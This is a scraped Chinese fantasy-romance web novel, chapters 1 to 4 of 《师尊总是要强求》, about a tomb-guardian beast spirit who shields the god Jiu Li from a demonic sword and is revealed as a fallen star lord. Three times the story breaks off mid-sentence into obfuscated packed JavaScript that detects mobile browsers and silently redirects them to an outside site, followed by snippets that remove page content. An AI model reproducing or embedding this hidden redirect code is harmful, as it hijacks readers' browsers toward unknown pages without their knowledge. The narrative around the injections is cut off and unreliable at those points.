《师尊总是要强求》 1. 第 1 章 幽都雄踞地底,不分昼夜,常年笼在灰暗里,人界盛传,这里是鲜血淋漓的无间孽火地狱。 但从掖太山往下眺望,幽都主城十殿四十九城巍然而立,四方鬼差肃然忙碌,森严壁垒,不见血水翻涌,也没有残尸遍野。 不同于寸草不生的幽都主城,掖太山上古柏万颗,制高处,一座五进陵殿顺山依势,凌空而立。 此时,一素衣身影懒洋洋躺在主殿门廊下,百无聊赖翻了个身。 花石目光虚落在头顶那尊镇墓兽角上的白纸灯笼,把玩着手里一块雕工粗糙的祥云瑞兽佩,不知想到什么,忽地坐起身来。 如若未记错,这个月,转劫铃已经响过一十四次。 待第十五次铃响之时,鬼婆就该撑船来山下送鬼魂回人间还魂了。 果不其然,没一会,流经陵殿前的忘川河水泛起几丝涟漪,悬浮河面上的转劫铃凌凌响动。 花石耳尖动了动,嘴角轻轻扬起,原先没劲耷拉着的眼皮倏地拉紧,眼眸在伸手不见五指的黑暗中灵动生辉。 她从陵殿里小跑着出来,绕到殿后,三步并做两步,从青石阶梯上一跃到河边,顺势蹲下。 忘川河水九曲八折,在阴沉无边的黑暗中静静地流淌,任花石如何伸直了脖子往前探,眼前也只是一片静寂。 ——船还没到。 花石站起了身,对着水中清影,把散落在肩的发丝随手抓了抓,又拉了拉身上皱巴巴的素裙,将手上的祥云瑞兽佩挂到腰间。 不多时,一艘看似老旧的小木船晃悠悠转了个弯,缓缓往花石的方向荡了过来。 小木船看似老旧,游荡过来的速度却不慢。花石眯了眯眼往远处看,小木船虚浮水面三寸高,两侧船头站着几个青皮小鬼,青面獠牙,鹰鼻鹞眼,使着十分的劲在撑竿。 船渐渐驶近,看到前方的素白身影,几个小鬼默契地把獠牙收了收,绽出诡形怪状的笑。 俗话说,小鬼难缠,几个鬼差不明缘由的笑,将船上的人界魂灵吓得颤了颤,皆虚虚捏了捏手掌,不知今日这船是否真是载着他们去还魂的。 他们顺着鬼差目光所向往岸边看去。 ——一素衣身影正三步一跳往他们方向跑来,边跑边喊着:“婆婆...婆婆...” 生老病死,万物更迭,十方鬼差送生迎死有条不紊。但世间生死永不停歇,鬼差的工作量毕竟还是大,偶尔也有勾错魂的时候。 这些魂灵误入幽都,从十殿阎王那里出来后,便由鬼婆经还魂崖送回人界。 虽说命不该绝,无需经过十殿阎王的审判,可冥界的晦寂威严和青面獠牙的鬼差,还是将这些魂灵吓得直发抖。 一时间听到这样充满生气与活力的嗓音,魂灵们既讶异又好奇。可好奇终究压不过恐惧,魂灵们仍然低垂着眼,害怕惹怒这一船小鬼,还有船头那白发鬼婆。 船一靠岸,河面上白光萦绕的锁链桥浮现,魂灵在鬼差的指引下依个踏过。 那白发鬼婆轻跺了跺脚下,附在锁链上荧荧发出微光的沮水一瞬间从鬼婆脚下延伸至山脚。几滴沮水在往生门前划出几道灵光,紧闭的往生门随之被叩开。 千万缕白光喷薄而入,照亮半座掖太山。几个青皮小鬼在光亮照入之前,已经躲在不远处那几株高大的沮木之后。 花石不畏光,轻跑至往生门前,将一个个魂灵推入白光内。 待魂灵皆跨过往生门,鬼婆缓缓闭上双眼,往生门在她的口诀中缓缓闭上,鬼婆的身影也消失在门前。 掖太山再次沉入黑暗中...... 往生路上需要鬼婆的向引,鬼婆要亲自将魂灵送回本体,一时半刻还不能回来。最后一丝光亮消失后,几个青皮小鬼不知何时冒出,将花石围了起来。 “花石,你这裙子还挺好看的,穿起来像是人间的小姑娘一般。” “别的镇墓兽大多光秃秃的,怎么你这毛发长得如此旺盛,几日不见头发又垂落地上...” “花石,你这玉佩哪来的?” 花石被七嘴八舌围在中间,不知先回谁的话,笑眯眯地享受此刻的喧闹。 见其中一小鬼伸出干枯如树皮的手欲拉下她的玉佩,她伸手拍落,色厉内荏的:“别人送的,你别管。” 其中一形似青年的独眼鬼差知道这玉佩的来由,故意笑道:“那小将军长得确实俊,难怪花石对他送的玉佩爱不释手......” “反正你也不在幽都名册上,鬼婆疼你,你求求她,去凡间找小将军续段情缘......” “胡说八道。” 独眼鬼差被花石随手一挥,摔在地上,惹得小鬼们笑个不停。 独眼鬼差向来爱逗花石,被撞倒了也不恼,悠悠地飘起身子,从怀里掏出一被黑布包裹着的东西,递给花石。 “看,我给你带的话本,这就算是赔礼了,别再对我横眉竖眼的,不就是上次说你头发乱得像鸡窝么?” 听到“话本”二字,花石原本瞪着他的眼立刻柔和下来,接过来后,扯了扯独眼鬼差的耳朵。 “好吧,我原谅你了。” 这些鬼差一改刚刚在魂灵前的沉默恐怖姿态,同花石一样,随意坐在地上,献宝似的将幽都十殿近来发生的趣事讲给花石听。 说着说着,话题不知怎么落到仙界。 独眼鬼差跟着鬼婆行引魂之责,平日多行走于幽都十殿中,是个万事通。他往往生门方向望了望,确认鬼婆还未回,勾了勾手,将鬼差和花石勾到身边。 “听说,仙界近期乱着呢。” 幽都承神命,司生死轮回,向来超脱仙魔两界之外,不参与两界争端,但小鬼们始终活跃在八卦前线。 闻言,鬼差们目露惊奇,纷纷问道:“为何?” 要说几界里日子过得最平稳的,当属仙界了。 万年前,勾照仙君得神君九黎授命后,成为仙帝,执掌三界,仙人们的地位跟着水涨船高。而魔界自万年前神魔大战受了重创,被逼回南渊以南后,三界这万年来倒算太平。 仙界乱什么?鬼差们不由猜想,难道是魔界又出来作乱了? 不应该啊。 独眼鬼差故意卖弄玄虚:“你们听说过那无烬剑不?” 鬼差们纷纷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878891|159707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点头。 花石不明所以,好在一鬼差接过话,顺道为花石解了惑。 “当然听说过,那可是上古神剑。” 众所周知,无烬剑是曾经的战神桑尤的佩剑。只不过,万年前桑尤堕魔后,被如今的神尊九黎镇压在下星海后,无烬剑便无了主。作为上古神器,它如今被供奉在神界天柱峰顶。 “没错,就是那上古神剑。我听说,那神剑近日不时发出嘶鸣,那嘶鸣声让那万年无波的下星海都卷了好几波浪。”独眼鬼差顿了顿,作深沉状,“恐怕魔神......” 花石听得入神,耐不住性子,刚想开口催促那鬼差说快些,那几个鬼差眨眼间已经飘回船上。 花石朝往生门看去。 果然,鬼婆回来了。 不同于鬼差们的严阵以待,花石一见到那白发鬼婆,立马就飞奔过了过去。 鬼婆其实不叫鬼婆,小鬼们尊称她为“真水夫人”。 真水夫人掌幽都主城一河——血海真水。 血海真水至清至浊,能吞噬一切生灵,是邪秽之水,清污秽之物。 真水夫人向来独来独往,随行的鬼差们害怕的紧。但此刻在他们面前不假辞色的夫人,此刻却任由那小姑娘扯着手臂,略带慈祥地听着她不断的埋怨。 鬼差们怕鬼婆,花石却不怕。 花石是镇守这掖太山陵殿门外的一只镇墓兽,不知因何机缘修成了精怪。幽冥界的所有鬼差在十殿转轮王那均有登记造册,可花石不是鬼差,转轮王也探不出她的前世今生,于是无法将她登记入册。 无前世今生,无轮回生死,无福报无罪恶,转轮王也不好定她生死,知因缘造化自有天理,索性也不管她,只令她乖乖当只镇墓兽,不准她离开掖太山。 这掖太山位于幽冥界极北处,平日除了鬼婆送魂灵往生,寻常鬼差并不允许踏足此处。 鬼婆是花石化形后第一个见到的人,对花石施以善意,因此,花石对鬼婆依赖得紧。 “婆婆,我这头发又披地了......” 鬼婆闻言,伸手揽起她的一头乌发,不知念了句什么咒语,一头垂地乌发变成及腰长度,发出油亮光泽。 之后,她左手展开,一把木梳赫然映入花石眼帘。 鬼婆将梳子递给她,说话时如口吞沙砾,气弱声嘶:“这是前几日路过孟婆的驱忘台时顺手拿的,你这毛发太过杂乱,每日去山上古柏上接些露液,抹在发丝上,再用这把木珑梳子一梳,头发便能顺直晶亮。” 鬼婆说的仔细,见花石拿着梳子在发尾处比划,又问道:“可听会了?” 花石重重点点头,“听懂了,多谢婆婆。” 鬼婆不能在此地久留,说完后,抬头望了望山顶下的陵殿,沙哑说道:“这几日莫乱跑了。” 待小木船慢慢消失在视线内,花石头也跟着耷拉下来,慢慢走回陵殿。 又得等半个月才有人陪她说话了。 花石回到主殿前,看着左侧另一尊镇墓兽,用手拍了拍。 没有反应。 这掖太山除了她,一点生息都没有。 2. 第 2 章 花石化形也有几百年了,但许是刚化形,修为浅,极嗜睡。 虽然不知道自己守护的这座陵墓主人是谁,但兽类天生忠贞,花石从未想过离开,大部分时间都躺在原身里蓄神养精。 只是日子实在无聊,醒着的时候,她索性给自己揽了好些活 ——打扫陵殿。 陵殿笼在郁郁葱葱的古柏和不知名的沮木下,却依然尘埃不染,但为了打发时间,花石还是寻了块布子,在主殿里随意擦擦抹抹。 虽说是个乌进陵殿,但花石的活动范围也只局限在前三殿。墓冢那扇木门只虚虚闩着,花石虽好奇,却从来不曾伸手推开过。 既是主人的陵墓,还是让他安息的好。 打扫完毕后,花石随意窝在门边,从手袖里拿出独眼鬼差送她的话本,翻了起来。她的精力有限,清醒的时间不算多,也不知看了多久,又沉沉睡了过去。 一睡又不知道多少个日月已经过去。 指尖微痛时,花石倏地睁开了眼。 食指被一株散着微弱绿光的嫩芽缠绕得紧紧的,花石碰触时,芽上散着绿光的小尖茸又往指尖扎了进去。 猩红血珠涌出时,小嫩芽周身环着的绿光亮了几分,枝叶覆上血珠后,又暗淡下去。 花石碰了碰又耷拉回去的小嫩芽,知道它吃饱了。 花 石手里这株小嫩芽,原本是长在镇墓兽的爪子边,花石化形时它已几近枯萎,后来无意间发现嫩芽可以她血液为生,花石便将这株小嫩芽养了起来。 待她喂完小嫩芽,转过身又要睡去时,转劫铃忽然嗡嗡发出异响。 ——有人闯入。 脚步声离主殿愈来愈近,花石咻地钻进原身里,秉神凝气时,她心里不由冒出一个念头:她这座镇墓兽终有用武之地了,下次看鬼差们还说不说她在这掖太山蹭吃蹭喝蹭住蹭修为....... 秉着敌不动我不动的宗旨,花石躲在原身里打量起门外的一切。 平日门可罗雀的主殿门口很快密密麻麻站了一些衣着华贵的... 应该如何称呼他们呢? ——与她常见的黑黢黢的小鬼们不同。 眼前这群人,长相清俊,身披银色织锦铠甲,看着比小鬼们是威武多了。 没等她感慨完,一道耀眼金光自眼前闪过,紧接着,那群身穿铠甲的人退至两,而后,两道金色身影一前一后往她这个方向走近。 花石露出四枚犬齿,两只前爪越按越实,眼神紧紧盯住前方那两道身影...... 就要往前扑时,一白须老头上前一步,挡住她的视线。 ...... 好不容易蓄好的力,就这样散了,花石咬了咬牙,以她的修为,再聚一下力,还要费些时间。 “老君,神尊当真今日会出关?”金色身影话音刚落下,陵殿外百鬼嘶鸣匍匐,其声凄厉,令转劫铃咽咽不停响动。 “北弟到了。”白须老人对着那金色身影说道。 很快,神荼,郁垒两名鬼将一左一右,十殿阎王拥着北帝从行礼亭迈了进来。 花石虽在幽都呆了许久,却未曾有机会见过这幽冥之主。她在原身里小心翼翼挪了挪,想试图瞻仰一下幽冥之主的风采。 听小鬼说,自几百万年前始,众神陆续陨落后,如今四界中,仅剩两位尊神。 一位便是幽都之主,冥界的最高主宰,北帝蚩衹。 另一位,便是三十六重天上,父神与母神之子,一生下来便是驾驭百神,控制四方的万物之神,神尊九黎。 可视线被那白须老人的拂尘挡住,夹缝中,花石先看到的,是鬼婆。 兽类向来灵敏,鬼婆看过来时,花石明显察觉到,那白须老人余光从自己头上略过。 不知有没有发现她这个不起眼的小精怪。 - 见到来人,仙帝提步上前,欲行礼时,却见蚩衹直接绕过他。 “他今日当真会出关?”蚩衹的目光落在圯上老君身上,虽是漫不尽心的语调,却却尽显威压。 虽被无视,仙帝还是行完礼,听到蚩衹的问题后,也殷殷看向圯上老君。 “回北帝。”圯上老君上前两步,拱手道:“昨日青凝镜忽现紫霄之气...” 青凝镜是神尊所创法器,神尊闭关,神器也随之封寂。青凝镜重焕神采,是主人苏醒之召。 圯上老君继续说道:“神尊大抵是感知到下星海有异动,当下...” 蚩衹显然不想继续听,只是甩袖冷笑一声,“九黎这次闭关闭得可真久。” 话毕,蚩衹眉峰一动,视线定到主殿门外。 一行人的目光随他望去。 主殿那扇木门吱呀一声缓缓开启,一股凝聚世间浩海苍穹最精纯的神灵精气随之倾泻而出。 霎那间,常年黑暗冰冻的掖太山漫天金云密布,万道金光穿行。 兽类听觉嗅觉天生灵敏,即使修为低下,花石也能感受到有轻巧无痕的脚步声缓缓地靠近,如雪般清隽凛冽的气息轻轻拂过。 指尖微疼。 刚喂饱的嫩芽不知为何又伸出枝蔓将她手指紧紧缠住,花石本能地跟着深吸了两口气。 掖太山笼在金光下,瑞气萦绕,在此刻显得愈发高耸威严。 仙鬼俯首静待,无人敢抬头直视那人神采。 那是天地万物对神的本能。 畏惧,向往,臣服。 一席荼白衣摆在众仙鬼的俯首中定住脚步,站定在仙帝与北帝身前。 看着九黎身上浑厚的神气,仙帝眉眼间难掩欣喜,拱手俯身:“恭贺神尊修炼出关。” 显然,那传闻中的神尊不似北帝那般倨傲,他嘴角微扬,“仙帝无须多礼。” “老君也来了。” 那声音如珠落玉坠,沉静温润,十分抓耳,躲在原身的花石下意识挠了挠耳朵尖。 她还没从刚刚简短的几句对话中缓过神来...... 神尊? 她这只镇墓兽镇得,居然是神尊?? - 无烬剑嘶鸣,恐魔神有挣脱封印之兆,仙帝看着九黎,欲言又止。 刚准备开口,便听到蚩衹的声音。 “神尊借我掖太山闭关修炼万年,是我冥界之幸。今日神尊既然出关,众仙驾临,我幽冥间虽无天宫辉煌耀眼,也该备盏清茶待客。神荼,请仙帝去...” “蚩衹。”九黎目光终于定在蚩衹身上。 场面话既然无效,蚩衹咬了咬牙,索性直接开了口:“我有话要问你。” 作为世间仅存的几位神君,蚩衹与桑尤、九黎互相都对彼此太了解了,自诞生以来,他们一直是并肩作战的伙伴,虽互相不服对方,但依然是知己。 神魔大战时,蚩衹受桑尤之命前往南渊镇魔。可就在率队前往的路上,传来桑尤堕魔的消息。 而魔族似乎早有预料般,趁四界动乱时向仙界发起进攻...... 蚩衹赶回仙界时,九黎神息大损,神脉紊乱冲撞,无暇解释缘由,之后便是长达万年的闭关... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878892|159707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而桑尤被镇于下星海,无九黎神印无人能进去。 因此,蚩衹至今不知桑尤堕魔缘由。 桑尤是随父神四处征战的不败战神,心怀苍生,千万年来道心坚韧,怎会轻易堕魔呢?又怎会与九黎为敌,围攻仙界?这万年来,蚩衹心中有太多的疑问。无论外界如何传言,他一字不信,他需要从九黎口中知道来龙去脉。 - 花石没有想到,自己现身的机会会来得这般突然。 就在九黎与蚩衹目光对峙之时,主殿陷入静默,无人敢发出声响。 也就是在静默那一瞬间,乘空而来一道凌厉浑厚的剑气。 那剑气如白波,却被丝丝缕缕的紫气缠绕着,沿途将殿外的忘川河水翻滚卷起。 忘川河水是先天神水,与血海真水同宗同源,为世间极阴之物。 阴阳相斥,仙神入了这幽都,法力便被压了大半。 剑光如虹,在空中划出一道银芒,叫一众天兵天将躲闪不及。有些修为浅些的,瞬间被卷入翻滚的忘传河水中,万年修炼瞬间毁于一旦。 蚩衹也怔愣了一瞬,不明白是何人何物能叫这一川沉静能吞噬万物的河水翻了天。神荼,郁垒两名鬼将分站蚩衹两旁,手指卷动间,暗黑鬼气覆压在河面上。 那缕幽紫魔气凶横霸道,迅疾不见残影,很快,魔气盖住大半金光。 “是无烬剑灵。”蚩衹率先反应过来,大喊:“护好神尊。” 无烬剑是弑神剑,仙鬼自然更是不在话下。 殿外的仙军被翻涌的忘川河水压制下,抵御不堪一击。 事出突然,鬼婆深吸一口气,双手结出复杂的黑光法印,法印在她的咒语下慢慢形成一道防护罩,将汹涌的水柱压在罩外。 可无烬剑灵仍畅行无阻,剑气冲入殿内。 北帝蚩衹虽为上古神,万物魂灵之宗,可他生来... ——战斗力就不强。 况且这缕剑气是铸于曾经四界主宰,战神桑尤。 尖锐的破风声,周遭空间似有崩裂。 剑锋转瞬间直指九黎眉心天元处。 拦不住了...... - 或许是兽类护主的本能吧。 花石正对主殿门外,眼看那剑直逼她那素未谋面的主人。一声咆哮之声震天动地,花石双腿蓄力一跃。 幽紫魔气穿心而过。 而后,化于无形。 魔神终究还是神,即便被困在下星海,仅凭一缕意识驱动剑灵,就能有如此强劲的摧毁之力。 花石想,大概是她蓄力一跃的姿势十分威武吧,否则,刚刚殿上那群吵嚷的仙鬼们怎地都睁大着双眼看着她? 再无人阻挡了。 她终于瞧见那位神尊的面容。 石韫玉而山辉,水怀珠而川媚。几近超脱世间一切色相,寒星点眸,月辰凝肤。 花石觉得自己实在蠢笨,不知该如何形容眼前这人。 她只知道,她从未见过这般好看的人。 原来这便是神呀。 花石看着那道荼白身影走近,目光从上而下,落到她身上,如未沾染温度的冰雪琉璃,冰冷又不解。 全身气血翻腾,纵使美色当前,花石也无力再欣赏了,眼眸无力地耷拉着,几口黑血喷涌而出。 太痛了... 太痛了... 花石从没有这么清晰地感受到心间滚烫,养了几百年的精元开始涣散,在意识消失的最后一刻,花石迎上那道目光,诚心赞叹:“你真好看。” 3. 第 3 章 九重天。 神殿外是延绵入云的天柱峰,无烬剑悬立在上,剑身暗沉无光。但若仔细看,能看到剑身上缚着一层淡淡的暗蓝丝线。 祥云层叠,凌霄殿隐在云雾之中,浩海苍穹最精纯的神灵精气翻滚,碧蓝色与金光翻卷,似隐若现,可望不可及。 一道金色光芒忽落于九重天门前,,守门天兵武曲和破军见到来人后俯首拱手,“见过仙帝。” 之后,话音随着那道身影一起消散在云间。 云雾之中,仙帝脚步匆忙,绕过蜿蜒曲折的玉阶梯,衣摆将残云卷碎,虽步履匆忙,但玉冠华服未有一丝凌乱。 直至凌霄殿外,仙帝抬头看了眼殿前牌匾,待气息稍稳,这才提步踏上玉阶。 就在这时,一位体型娇小,憨态可掬的小仙君推开殿门,垂头丧气从里面走了出来。 小仙君看到仙帝,也不似其他仙使那般毕恭毕敬,扁了扁嘴,眼睛里尽是控诉的欲望。见仙帝掠过他,就要往殿里走,小仙君神色更是委屈,再也憋不住了。 “仙帝,圯上那老头把我这千年呕心沥血炼好的两颗灵药都给抢了去。” 小仙君虽娇小,却十分灵活,任仙帝脸色再沉,身躯挪来跳去,就是不肯让开。 “天柱峰顶那颗不死树,自十几万年前结了两个果子后,至今黄枯衰败不肯再结果。” 小仙君双手叉在腰上,控诉道:“我花了几万年,好不容易寻来极地雪莲一起炼成了两颗还魂珠,圯上竟叫我将那两颗珠尽数交出,偏偏神尊还默许......” 这位气炸的小仙君正是仙界圣手医仙,诸夏仙君。 仙帝眉峰一挑,眼里闪过一丝诧异。 圯上要还魂珠何用? 正欲细问时,门再次从内缓缓打开。 推开门的圯上老君假作未看到诸夏投过来的愤懑眼神,只是甩了甩手上的拂尘,对着仙帝说道:“仙帝来了,神尊有请。” 仙帝只好止住话头,提步走近凌霄殿。 而他身后,委屈巴巴红了双眼的诸夏仙君,只能眼睁睁看着威武煊赫的殿门再次缓缓闭上...... - 九黎回到天宫后,便去了一趟下星海。 从下星海出来后,七彩雀受命传话仙帝。寥寥数语,仙帝听后脸色却陡然一变。 神尊要去人界历劫? 仙人修炼劫数千万种,去人界历劫并不是什么稀罕事。几十年甚至几百年,在神仙永长天命中不过弹指间,短暂到可以忽略不计。 有的仙人嫌修炼日子太过寡淡,偶尔求了司命,找个缘由去人界玩一遭也是有的。仙帝日理万机,对这些常常是睁一只眼闭一只眼。 可眼前,魔界沉寂不到万年,又开始有死灰复燃的苗头。究其缘由,还不是无烬剑嘶鸣的缘故,叫他们又看到希望。 下星海那位已经堕魔的魔神,毕竟也是神。 仙帝好不容易盼来神尊出关,却没想到这个关头,神尊却说要去历劫。 退一万步讲,神,已是修道的尽头,神尊何须如寻常仙人那般去历劫数求悟大道。 仙帝勘不透此举深意,七彩雀刚飞走,他后步就急匆匆赶来这九重天。 - 殿上,仙帝言语间忧心忡忡:“魔主后卿虽天生魔髓,到底年数稚嫩,万年前又叫神尊和几位星君伤了魔灵,没个千万年魔灵恐难修复如初,当下倒也不足为惧,我只怕魔神…”仙帝抬眼看了看九黎,小心翼翼斟酌着语气,“近来下星海那位到底躁动了些,四界人心不稳,我只怕……” 桑尤被镇压在下星海,还能燃烧心魂召唤无烬剑灵残害神尊,谁知道下一步他还想做什么,还能做什么。 仙帝以为,先解决魔神这个隐患才是当务之急。 九黎视线落在桌上琉璃盆栽中枯败的小嫩芽,眉骨皱了皱,似是有些不奈。 如今的神尊,曾经的神君九黎,乃父神与母神的独子,生来神骨,便是神迹未陨之时,也是驾驭百神的存在。 他的所言所为,于四界而言,便是神旨,何须向人解释。 就在仙帝暗恼自己失了分寸,欲请罪时,九黎从桌上抽回视线,轻轻叹了口气。 “执念太深罢了。” 许是体谅仙帝万年来的苦劳,向来寡言的九黎今日难得多说了几句:“桑尤燃心魂召剑,是想见我。如今被反噬,短期内不会有其他动静。至于其他事由,你已是仙帝,该如何应对,该有你的章程。” 九黎语气平淡,可仙帝闻言,端正清肃的脸上不由得显现一丝难堪,神尊这是觉得他小题大作么... 圯上老君见状,甩了甩手上的拂尘,“那幽都掖太山背倚西海之滨,倒是个修炼的好地方。如今见神尊周身灵力充沛,仙帝与我等也终能放心些。” 这阵子仙帝满心都在担忧魔神再度扰世,现下才反应过来,神尊此次出关似乎比预料中早得多。 想到当初神尊闭关前浴血的模样,仙帝心里还有余惊,当初为对付魔神,神尊燃精元唤醒上古神物缚神索,神魂在大战中受损。 于他人而言,魂灵受损,轻之道心不稳,重则修为尽毁,万劫不复。不过却如圯上所说,神尊周身灵气四溢,生来神骨,终究与他等不同。 仙帝立马附和:“圯上说的是。” 仙帝突然想起刚刚门外诸夏提起的那两枚泯灵珠,却是个聚神凝气的好物件,想来圯上是想取来为神尊增补精元。 至于诸夏一直念叨说,圯上要把这两颗泯灵珠喂给一只小精怪,仙帝自然而然忽略了。 何等宝物,什么小精怪有这等造化,圯上老君爱逗诸夏罢了。 - 仙帝走后,圯上神情沉重了下来。 “神尊神息虽饱满,可如同诸夏所说,神尊身上,缺了一魄。” “若老身没猜错,殿下那一魄,便在掖太山带回来的那只小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878893|159707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 石兽上吧。” 无烬剑乃上古神剑,既是桑尤燃了心魂所召,自然能辨认方位直指神尊。 那剑最终刺穿那小石兽,只因那小石兽身上有神尊的气息。 那小石兽生受了那无烬剑一剑,虽精元涣散,可天元处却有一丝极强劲的精魄勉强聚着她的散魂。 如此种种,圯上只能想到这个解释。 只是他不明白,神尊的那一魄,为何会在一只刚刚修成灵体的小精怪上。 从掖太山回来,神尊示意他将那只奄奄一息的小石兽一并带回时,圯上并未多想。毕竟小石兽替神尊挡了剑,功德无量,带回九重天,是它的尊荣。 可当诸夏走后,神尊让他将两颗泯灵珠尽数喂给小石兽时,圯上便知道这小石兽来历并不简单。· “她是白虎。” 九黎手指在玉石桌上点了点,一道金光自他指尖溢散出去,琉璃盆中枯败的小嫩芽在金光涟漪中寻回绿意。 “白虎星君?”圯上老君双眼瞪得溜圆,“可她万年前不是在神魔大战中陨落了吗?” 他亲眼看着四星君以身祭阵,白虎星君冲锋在前,在魔界皿灵台前灰飞烟灭。 九黎语气一如既往地平静无波:“那时皿灵阵已开,白虎以身饲阵,神魂散灭,我只来得及用一魄聚住她的神魂。” 可还是晚了...... 话已至此,圯上便明白了几分。 “便如诸夏所言,这小石兽,不,白虎星君如今精元涣散,便是喂下泯灵珠,精元也堪堪只能再聚个几百年。” 圯上老君不知想到什么,向来温蔼的脸上一骇,“神尊此番下凡,是替白虎星君重塑精元?” 圯上摇了摇头,太冒险了,神明之力取自混沌,虽强大,终是有限。重塑魂魄乃神明之法,可至今无人践之,可见其艰险。 精元重塑,需有修为级阶比原身更深更强者,以一魂一魄注入为引,陪同原身经往生,历轮回,经八苦,重新炼就三魂七魄。 待白虎星君魂魄皆齐时,神君那一魄自然而然会回归本身。 说来简单,可这其中,稍有不慎,不说白虎星君逃不过魂飞魄散之命。届时,神尊那一魄若跟着白虎星君魂消而散...... 神魄不全,即便生来神骨,稍有不慎,也极易走火入魔。 九重天,可不能再出一位魔神啊。 可当下若神尊强势取回一魄,那白虎星君可就真的再救不回来了。 “我下凡轮回后,会令北斗七星灵亲自守着凌霄殿,无我之令,谁也不能进入。若是......”九黎忽地止住话意。 见九黎停顿,圯上显然也想起从前白虎星君在九重天留下的种种叫人哭笑不得的事迹。 神尊之令,自然无人不尊。 除了神尊那位有名无实的徒弟——白虎星君。 如今看来,白虎星君虽顽劣,可这声师尊,终究没有白喊。 4. 第 4 章 七月末,酉时初的日光还亮得耀眼。 不大的院子里,老槐树在烈日下蔫蔫的,屋内时不时传出一生咳嗽声。 “娘亲,娘亲,我听说哥哥要回来了。”一道洪亮声音从屋内传来,脚步声嘚嘚靠近屋内。 绕过短短的抄手游廊,怀夕推开东厢房的大门,直接扑到罗汉床上绣着衣物的妇人身上。 “娘亲,你听到女儿说的话了么?”怀夕握住那妇人伸过来擦拭额汗的手,“哥哥明日便回来了,娘亲可高兴?” “娘亲自然高兴。”妇人点了点小女孩的俏鼻,拿出一旁的手绢,轻轻擦拭女孩脸上的脏污。“只是有小花猫少不得又要来娘亲面前说哥哥板着脸了......” 怀夕顺势窝在妇人身上,仰着脸,闭着眼晴,如小兽般,极为享受妇人轻柔的抚摸。 只是没安静一会,她又睁开眼,抿了抿嘴:“夕儿才不是小花猫。” 母女俩又搂着不知道在说些什么体己话,没多久,门外便轻轻响起了敲门声。 白氏把半倚在自己身上的女儿拉起,示意她坐好,这才开口道:“进来吧。”声音显然没有刚刚哄着女儿那般轻柔。 门嘎吱一声打开,白氏的陪嫁许妈妈领着一个有些脸生的小丫鬟走了进来。 因不是正厅,屋内摆设简单,只在临窗边摆了一海棠纹罗汉床。 床上小茶桌放了一莲纹瓷盆,蓄满水,两朵初荷摇摇曳曳飘荡在水上,屋内淡淡荷香。 小丫鬟还算守礼,进来后也不曾东张西望,报了来历缘由后,便低着头等着吩咐。 “你同母亲说,请她放心,明日我便带着五小姐去正院给她老人家请安。” 小丫鬟回是,欠身行礼后便离开了。 待脚步声走远,白氏才拿起手边的白帕捂住嘴,两颊憋的通红。 怀夕见状,急忙把桌上的温水端了过来,递给白氏。 白氏接过,抿了一口,才渐渐缓了过来。 许妈妈把丫鬟送走后,端着药走了进来。 药还冒着热气,怀夕坐着罗汉桌的另一边,一脸懵懂听着娘亲同许妈妈的对话。 “明日云儿从书院回来,这时候请我们母女过去,二房又在打什么主意...” 白氏叹了叹气,自从丈夫宋景湛去世后,自己被婆母夺了管家权,赶出宋家主宅。 宋家在泸州县不算显贵,但祖上曾出过一个大官,虽后辈无人当官,但在泸州也颇有些家底。 婆母贾氏是继室,向来不待见他们大房。丈夫宋景湛去世后,婆母以大房稚子年幼,联合宗族逼她将管家权交给二房。 如今宋家的家主,是贾氏的亲儿子,宋景明。 好在儿子宋承云争气,九岁时参加县里的童子试,夺得头魁。后来经县令引荐,儿子又入了梁家书院继续学问,宗族愈发看重起来,二房那边才不敢太过怠慢他们。 梁家在泸州县是数一数二的书香门第,梁府书院的梁夫子梁识檐,官拜从四品翰林学士,与当今帝师,翰林之首王澜伯乃是同门。因年事已高,前几年告老还乡,又向来爱才惜才,便在泸州县开起了书院。 此次乡试在即,梁家书院提前半个多月给院里的学生放了个假,想到儿子这次能在家中呆半月有余,白氏十分高兴。 只是想到明日要到隔壁去,白氏又忍不住叹了口气。 婆母向来不待见夕儿,这次却吩咐要带着夕儿过去,也不知道安了什么心思。怪自己,生得一副病弱身躯,只能依附他们....... 心绪牵动,白氏止不住咳了起来。 许妈妈给白氏顺着脊背,她是白氏的陪嫁,白氏所思所想她都看在眼里,疼在心里。 “夫人莫要担忧了,哥儿这般争气,高兴还来不及。” 说到宋承云,白氏心里还是十分熨贴的,她转头看着在自己身旁打瞌睡的小女儿,眼神柔软下来,眼角看到女儿衣裙处深了一圈,想到女儿回来时满脸脏污,白氏问许妈妈:“夕儿又去主宅了?” 怀夕性子活泼,因年纪小,白氏也不拘着她,院里院外任她跑着。 